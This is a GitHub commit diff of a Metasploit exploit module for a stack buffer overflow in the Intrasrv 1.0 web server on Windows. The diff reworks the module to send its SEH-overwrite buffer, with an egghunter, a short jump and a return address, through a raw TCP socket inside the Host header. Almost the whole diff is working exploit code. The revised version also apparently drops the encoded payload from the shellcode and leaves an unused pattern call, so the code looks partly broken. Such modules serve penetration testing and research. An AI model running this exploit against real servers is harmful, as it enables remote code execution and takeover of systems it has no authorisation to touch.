Skip to content

Commit 28f0304

Browse files
committed
Use tcp mixin/clean corrupt bytes
1 parent 7854c45 commit 28f0304

File tree

1 file changed

+26
-18
lines changed

1 file changed

+26
-18
lines changed

modules/exploits/windows/http/intrasrv_bof.rb

Lines changed: 26 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
class Metasploit3 < Msf::Exploit::Remote
1111
Rank = NormalRanking
1212

13-
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::Remote::Tcp
1414
include Msf::Exploit::Egghunter
1515

1616
def initialize(info={})
@@ -37,6 +37,7 @@ def initialize(info={})
3737
],
3838
'Payload' =>
3939
{
40+
'Space' => '4660',
4041
'StackAdjustment' => -3500,
4142
'BadChars' => "\x00"
4243
},
@@ -60,12 +61,16 @@ def initialize(info={})
6061
end
6162

6263
def check
63-
res = send_request_cgi({
64-
'method' => 'GET',
65-
'uri' => "/"
66-
})
64+
begin
65+
connect
66+
rescue
67+
print_error("Could not connect to target!")
68+
return Exploit::CheckCode::Safe
69+
end
70+
sock.put("GET / HTTP/1.0\r\n")
71+
res = sock.get
6772

68-
if res and res.headers['Server'] =~ /intrasrv 1.0/
73+
if res =~ /intrasrv 1.0/
6974
return Exploit::CheckCode::Vulnerable
7075
else
7176
return Exploit::CheckCode::Safe
@@ -75,27 +80,30 @@ def check
7580
def exploit
7681
# setup egghunter
7782
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
78-
:checksum => true
83+
:checksum=>true, :eggtag=>"w00t"
7984
})
8085

8186
# setup buffer
82-
buf = rand_text(target['Offset']-128) # junk to egghunter
83-
buf << make_nops(8) + hunter # nopsled + egghunter at offset-128
87+
buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128
88+
buf << hunter # egghunter
8489
buf << rand_text(target['Offset']-buf.length) # more junk to offset
8590
buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter
8691
buf << [target.ret].pack("V*") # seh
8792

8893
# Setup payload
89-
shellcode = rand_text(50) # pad payload
90-
shellcode = egg + egg # attach egg tags
91-
shellcode << payload.encoded
94+
shellcode = egg
95+
# second last byte of payload gets corrupted - pad 2 bytes
96+
# so we don't corrupt the actual payload
97+
shellcode << rand_text(2)
98+
99+
msp = pattern_create(20000)
92100

93101
print_status("Sending buffer...")
94-
send_request_cgi({
95-
'method' => 'GET',
96-
'uri' => "/",
97-
'vhost' => buf,
98-
'data' => shellcode
99-
})
102+
# Payload location is an issue, so we're using the tcp mixin
103+
# instead of HttpClient here to maximize control over what's sent.
104+
# (i.e. no additional headers to mess with the stack)
105+
connect
106+
sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}")
107+
disconnect
100108
end
101109
end

0 commit comments

Comments
 (0)